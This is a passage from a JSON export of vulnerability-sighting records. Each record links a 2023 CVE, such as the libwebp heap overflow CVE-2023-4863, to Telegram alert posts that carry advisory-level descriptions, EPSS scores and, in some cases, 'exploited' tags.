prior to 116.0.5845.187 and libwebp 1.3.2 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)\n\nFIRST-EPSS: 0.410100000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-04T10:33:39.000000Z"}, {"uuid": "245e3660-96e9-4b20-9625-859f824c9768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48220", "type": "seen", "source": "https://t.me/arpsyndicate/3810", "content": "#ExploitObserverAlert\n\nCVE-2023-48220\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2023-48220. Decidim is a participatory democracy framework. Starting in version 0.4.rc3 and prior to version 2.0.9 of the `devise_invitable` gem, the invites feature allows users to accept the invitation for an unlimited amount of time through the password reset functionality. This issue creates vulnerable dependencies starting in version 0.0.1.alpha3 and prior to versions 0.26.9, 0.27.5, and 0.28.0 of the `decidim,` `decidim-admin`, and `decidim-system` gems. When using the password reset functionality, the `devise_invitable` gem always accepts the pending invitation if the user has been invited. The only check done is if the user has been invited but the code does not ensure that the pending invitation is still valid as defined by the `invite_for` expiry period. Decidim sets this configuration to `2.weeks` so this configuration should be respected. The bug is in the `devise_invitable` gem and should be fixed there and the dependency should be upgraded in Decidim once the fix becomes available. `devise_invitable` to version `2.0.9` and above fix this issue. Versions 0.26.9, 0.27.5, and 0.28.0 of the `decidim,` `decidim-admin`, and `decidim-system` gems contain this fix. As a workaround, invitations can be cancelled directly from the database.", "creation_timestamp": "2024-02-21T14:33:20.000000Z"}, {"uuid": "61bcc6c9-18dd-4f07-903b-37299d2fc2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/arpsyndicate/885", "content": "#ExploitObserverAlert\n\nCVE-2023-4863\n\nDESCRIPTION: Exploit Observer has 65 entries related to CVE-2023-4863. Heap buffer overflow in libwebp in Google Chrome prior to 116.0.5845.187 and libwebp 1.3.2 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)\n\nFIRST-EPSS: 0.410100000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-02T02:58:25.000000Z"}, {"uuid": "a47cf87b-9944-4aed-adb9-6033189855ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48909", "type": "seen", "source": "https://t.me/arpsyndicate/2805", "content": "#ExploitObserverAlert\n\nCVE-2023-48909\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2023-48909. An issue was discovered in Jave2 version 3.3.1, allows attackers to execute arbitrary code via the FFmpeg function.", "creation_timestamp": "2024-01-15T20:05:12.000000Z"}, {"uuid": "15cb6d03-9b8a-4552-882f-2c7998a4f912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48042", "type": "seen", "source": "https://t.me/arpsyndicate/764", "content": "#ExploitObserverAlert\n\nCVE-2023-48042\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48042. Amazzing Filter for Prestashop through 3.2.2 is vulnerable to Cross-Site Scripting (XSS).", "creation_timestamp": "2023-11-29T16:02:52.000000Z"}, {"uuid": "9b0f5d29-8524-4a62-b49c-24824405b092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4834", "type": "seen", "source": "https://t.me/arpsyndicate/356", "content": "#ExploitObserverAlert\n\nCVE-2023-4834\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-4834. In Red Lion Europe\u00a0mbCONNECT24 and mymbCONNECT24 and Helmholz myREX24 and myREX24.virtual up to and including 2.14.2 an\u00a0improperly implemented access validation allows an authenticated, low privileged\u00a0attacker to gain read access to limited, non-critical device information in his account he should not have access to.\n\nFIRST-EPSS: 0.000450000\nNVD-IS: 1.4\nNVD-ES: 2.8", "creation_timestamp": "2023-11-22T16:30:31.000000Z"}, {"uuid": "d4b8e0ba-3f6c-44b4-8bc5-e897dfa6991e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/HL6WBQu6yKKJ0t_mK9NqcbdpdoorpQpHkmF0yC1UVWXFrA", "content": "", "creation_timestamp": "2024-04-17T14:06:22.000000Z"}, {"uuid": "e7d2d5f5-0271-419f-9afe-c302405d8923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/arpsyndicate/1595", "content": "#ExploitObserverAlert\n\nCVE-2023-4863\n\nDESCRIPTION: Exploit Observer has 65 entries related to CVE-2023-4863. Heap buffer overflow in libwebp in Google Chrome prior to 116.0.5845.187 and libwebp 1.3.2 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)\n\nFIRST-EPSS: 0.410100000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-10T01:48:01.000000Z"}, {"uuid": "eb806697-9597-40ca-b8be-767fc3231cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48123", "type": "seen", "source": "https://t.me/arpsyndicate/1530", "content": "#ExploitObserverAlert\n\nCVE-2023-48123\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48123.", "creation_timestamp": "2023-12-07T11:29:23.000000Z"}, {"uuid": "deaca467-3f01-46f1-9497-565afa006e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48849", "type": "seen", "source": "https://t.me/arpsyndicate/1527", "content": "#ExploitObserverAlert\n\nCVE-2023-48849\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-48849.\n\nFIRST-EPSS: 0.000420000", "creation_timestamp": "2023-12-06T23:58:28.000000Z"}, {"uuid": "4c3fd6a4-4076-4841-b3ec-5d841fd37498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48024", "type": "seen", "source": "https://t.me/arpsyndicate/1495", "content": "#ExploitObserverAlert\n\nCVE-2023-48024\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48024. Liblisp through commit 4c65969 was discovered to contain a use-after-free vulnerability in void hash_destroy(hash_table_t *h) at hash.c\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 3.6\nNVD-ES: 2.8", "creation_timestamp": "2023-12-06T14:40:03.000000Z"}, {"uuid": "265f1b11-97ed-479c-b25d-55d8810149b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48025", "type": "seen", "source": "https://t.me/arpsyndicate/1476", "content": "#ExploitObserverAlert\n\nCVE-2023-48025\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48025. Liblisp through commit 4c65969 was discovered to contain a out-of-bounds-read vulnerability in unsigned get_length(lisp_cell_t * x) at eval.c\n\nFIRST-EPSS: 0.000840000\nNVD-IS: 5.2\nNVD-ES: 2.8", "creation_timestamp": "2023-12-06T11:20:07.000000Z"}, {"uuid": "af9fe958-050d-489b-9460-a7a58e93eade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48034", "type": "seen", "source": "https://t.me/arpsyndicate/651", "content": "#ExploitObserverAlert\n\nCVE-2023-48034\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-48034. An issue discovered in Acer Wireless Keyboard SK-9662 allows attacker in physical proximity to both decrypt wireless keystrokes and inject arbitrary keystrokes via use of weak encryption.", "creation_timestamp": "2023-11-28T14:10:38.000000Z"}, {"uuid": "9548f43e-87f3-4c13-8080-4c339d6a9706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4896", "type": "seen", "source": "https://t.me/cibsecurity/72453", "content": "\u203c CVE-2023-4896 \u203c\n\nA vulnerability exists which allows an authenticated attacker to access sensitive information on the AirWave Management Platform web-based management interface. Successful exploitation allows the attacker to gain access to some data that could be further exploited to laterally access devices managed and monitored by the AirWave server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-18T00:33:09.000000Z"}, {"uuid": "c9ac1434-ed68-4376-a129-8c9d0603c273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4837", "type": "seen", "source": "https://t.me/cibsecurity/71902", "content": "\u203c CVE-2023-4837 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** SmodBIP is vulnerable to Cross-Site Request Forgery, that could be used to induce logged in users to perform unintended actions, including creation of additional accounts with administrative privileges. This issue affects all versions of SmodBIP. SmodBIP is no longer maintained and the vulnerability will not be fixed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-10T14:27:04.000000Z"}, {"uuid": "007379d7-5a9c-4f6c-9188-7be7496000eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/anonymous_syria_team/87", "content": "\u062a\u062d\u062f\u064a\u062b \u0623\u0645\u0646\u064a \u0639\u0627\u062c\u0644 \u0644\u0640 \u0645\u062a\u0635\u0641\u062d Google Chrome \u0628\u0633\u0628\u0628 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0644\u062b\u063a\u0631\u0629 zero-day \u064a\u0634\u0627\u0631 \u0644\u0647\u0627 \u0628\u0627\u0644\u0631\u0645\u0632 CVE-2023-4863\u060c \u0648\u0647\u064a \u0639\u0628\u0627\u0631\u0629 \u0639\u0646 \u062b\u063a\u0631\u0629 \u062d\u0631\u062c\u0629 \u0641\u064a \u062a\u062c\u0627\u0648\u0632 \u062a\u062e\u0632\u064a\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 (Buffer Overflow) \u0641\u064a \u062a\u0646\u0633\u064a\u0642 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0635\u0648\u0631 \u0627\u0644\u0646\u0642\u0637\u064a\u0629 WebP\u060c \u0648\u0647\u0648 \u062a\u0646\u0633\u064a\u0642 \u064a\u062d\u0644 \u0645\u062d\u0644 \u062a\u0646\u0633\u064a\u0642\u0627\u062a \u0645\u0644\u0641\u0627\u062a JPEG \u0648PNG \u0648GIF.", "creation_timestamp": "2023-09-13T12:06:17.000000Z"}, {"uuid": "080dfb65-fadd-4d39-85a9-39ef7ba4f25c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/u5l-ZaeBoa4rQ-jCnAd-RyTkmBiEwVQkA95tqksDWv2Ihl4", "content": "", "creation_timestamp": "2024-08-26T12:45:39.000000Z"}, {"uuid": "e561bcef-4c57-42c4-8ad9-19df50da32d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/lvSx9mMlLtFKi8E1bKG9QE8-DBE32mfFsPXZxFV-Ra_jPg", "content": "", "creation_timestamp": "2024-03-26T07:53:45.000000Z"}, {"uuid": "77d0e143-b2db-42ac-abb1-b34d4e73fea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/g4YVNsl8VVhm8hCc75QWhNv5PFRAQjIgSB1n0jxM2tiTPh-tRQ", "content": "", "creation_timestamp": "2025-02-01T09:42:01.000000Z"}, {"uuid": "7347090e-d740-4518-8a30-791cca23ea2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/l8X44cMUixgER7r7iiMI4ADWQwLUqwiAQrCqwuO6O3sHcQ", "content": "", "creation_timestamp": "2024-01-01T11:30:25.000000Z"}, {"uuid": "0e8efe63-8df6-4f43-8c02-a88c41420a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "Telegram/1oNYdEC7VRSCaCHgJFdU4nFeoPLRcwdny1fcvV_n7uYvRQ", "content": "", "creation_timestamp": "2023-09-13T05:27:54.000000Z"}, {"uuid": "f450f7a3-cf12-4a03-8a2d-7a75ddd3dcb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "Telegram/zM5L_DhgNpUBj--Ft8R8GiZCeeTqdA_5Qdnyaw0Ie60FWQ", "content": "", "creation_timestamp": "2023-09-12T10:57:30.000000Z"}, {"uuid": "bd4e0f63-be08-4a68-94da-cdf9ca7c66cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/3YF2aJFDAU2pSWhX6P1NE7GgtKuQTKofLV4QDhfjuo9ELSKQcQ", "content": "", "creation_timestamp": "2024-07-08T12:15:24.000000Z"}, {"uuid": "ad9102af-13c2-45bc-94ca-8cc9e4d442dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/YourAnonTl3x/26", "content": "\ud83d\udea8CVE-2023-4863: Critical Chrome 0-day Bug Under Active Attacks\n\nhttps://securityonline.info/cve-2023-4863-new-chrome-0-day-bug-under-active-attacks/", "creation_timestamp": "2023-09-12T12:59:34.000000Z"}, {"uuid": "826b8f6d-6983-4784-a164-e37f54e8f228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "Telegram/KrysAMKV_ssHMzBssA4jddAyNcHHHx4Ilu6xfvvFEjTJZhI", "content": "", "creation_timestamp": "2024-06-04T09:06:13.000000Z"}, {"uuid": "41beebc8-963d-4a28-ae44-25a5a68cd453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "Telegram/k6MBhwlz62c5jB2VDbzWzeOHYrPTNFNZquCKzW7cO-QJ2aA", "content": "", "creation_timestamp": "2023-10-12T23:32:25.000000Z"}, {"uuid": "259784d2-4e75-4661-a380-359796cb32f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4861", "type": "seen", "source": "https://t.me/cibsecurity/72369", "content": "\u203c CVE-2023-4861 \u203c\n\nThe File Manager Pro WordPress plugin before 1.8.1 allows admin users to upload arbitrary files, even in environments where such a user should not be able to gain full control of the server, such as a multisite installation. This leads to remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:38:18.000000Z"}, {"uuid": "f26f270b-28ad-46b9-a93d-3b9e0acb36ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4821", "type": "seen", "source": "https://t.me/cibsecurity/72367", "content": "\u203c CVE-2023-4821 \u203c\n\nThe Drag and Drop Multiple File Upload for WooCommerce WordPress plugin before 1.1.1 does not filter all potentially dangerous file extensions. Therefore, an attacker can upload unsafe .shtml or .svg files containing malicious scripts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:38:16.000000Z"}, {"uuid": "176f25b8-19a0-4a91-9ee3-0affa023cd06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4834", "type": "seen", "source": "https://t.me/cibsecurity/72308", "content": "\u203c CVE-2023-4834 \u203c\n\nIn Red Lion Europe\u00c2\u00a0mbCONNECT24 and mymbCONNECT24 and Helmholz myREX24 and myREX24.virtual up to and including 2.14.2 an\u00c2\u00a0improperly implemented access validation allows an authenticated, low privileged\u00c2\u00a0attacker to gain read access to limited, non-critical device information in his account he should not have access to.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-16T12:36:39.000000Z"}, {"uuid": "d97cd4ff-2786-4521-97f5-880c70047e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4862", "type": "seen", "source": "https://t.me/cibsecurity/72362", "content": "\u203c CVE-2023-4862 \u203c\n\nThe File Manager Pro WordPress plugin before 1.8.1 does not adequately validate and escape some inputs, leading to XSS by high-privilege users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:38:10.000000Z"}, {"uuid": "62e05acd-75c9-4582-aae7-7faf20bda99a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/integral_security/718", "content": "\u26a1\ufe0f\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 18\u201422 \u0434\u0435\u043a\u0430\u0431\u0440\u044f\n\n\u0412 \u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u043d\u0430\u0437\u0432\u0430\u043b\u0438 \u0441\u0440\u043e\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f 5G \u0441\u0435\u0442\u0435\u0439\n\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0439 5G \u043d\u0430 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 \u043d\u0430\u0447\u043d\u0435\u0442\u0441\u044f \u0441 2026 \u0433\u043e\u0434\u0430 \u0432 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0433\u043e\u0440\u043e\u0434\u0430\u0445, \u0442\u0430\u043a\u0436\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u0439 \u0432 \u0434\u0440\u0443\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \n\n\u0412 \u041c\u0412\u0414 \u0437\u0430\u044f\u0432\u0438\u043b\u0438 \u043e \u0440\u043e\u0441\u0442\u0435 \u0447\u0438\u0441\u043b\u0430 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\n\u0427\u0438\u0441\u043b\u043e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0438 \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0445\u0438\u0449\u0435\u043d\u0438\u044f \u0434\u0435\u043d\u0435\u0433 \u0443 \u0433\u0440\u0430\u0436\u0434\u0430\u043d \u0440\u0430\u0441\u0442\u0435\u0442, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0445\u0435\u043c\u044b \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f.\n\n\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u043e\u0442 \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445\nC\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u043b\u0438\u0447\u043d\u044b\u0435 \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \n\n40% \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0438 \u0431\u044e\u0434\u0436\u0435\u0442\u044b \u043d\u0430 \u0418\u0411 \u0432 2023 \u0433\u043e\u0434\u0443\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0431\u044e\u0434\u0436\u0435\u0442\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u0434\u043b\u0435\u043d\u0438\u0435 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0411.\n\n\u0418\u043d\u0442\u0435\u0440\u043f\u043e\u043b \u0430\u0440\u0435\u0441\u0442\u043e\u0432\u0430\u043b \u043e\u043a\u043e\u043b\u043e 3500 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 \u0438 \u043a\u043e\u043d\u0444\u0438\u0441\u043a\u043e\u0432\u0430\u043b $300 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0442\u0440\u0430\u043d\u0441\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c\u044e\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f HAECHI IV \u0434\u043b\u0438\u043b\u0430\u0441\u044c 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0438 \u0431\u044b\u043b\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u0431\u043e\u0440\u044c\u0431\u0443 \u0441 \u0441\u0435\u043c\u044c\u044e \u0432\u0438\u0434\u0430\u043c\u0438 \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0430.\n\nOpenAI \u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ChatGPT, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0443\u0442\u0435\u0447\u043a\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445\n\u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0430\u0445 \u0442\u0438\u043f\u0430 prompt injection.\n\n\u0422\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043c\u0430\u043d\u0438\u0432\u0430\u044e\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0434 \u043f\u0440\u0435\u0434\u043b\u043e\u0433\u043e\u043c \u043f\u0440\u043e\u0434\u043b\u0435\u043d\u0438\u044f \u043d\u043e\u043c\u0435\u0440\u0430\n\u0426\u0435\u043b\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u2014 \u0432\u044b\u043c\u0430\u043d\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0424\u0411\u0420 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u043b\u043e \u0441\u0430\u0439\u0442 ALPHV/BlackCat\n\u0424\u0411\u0420 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 ALPHV/BlackCat \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 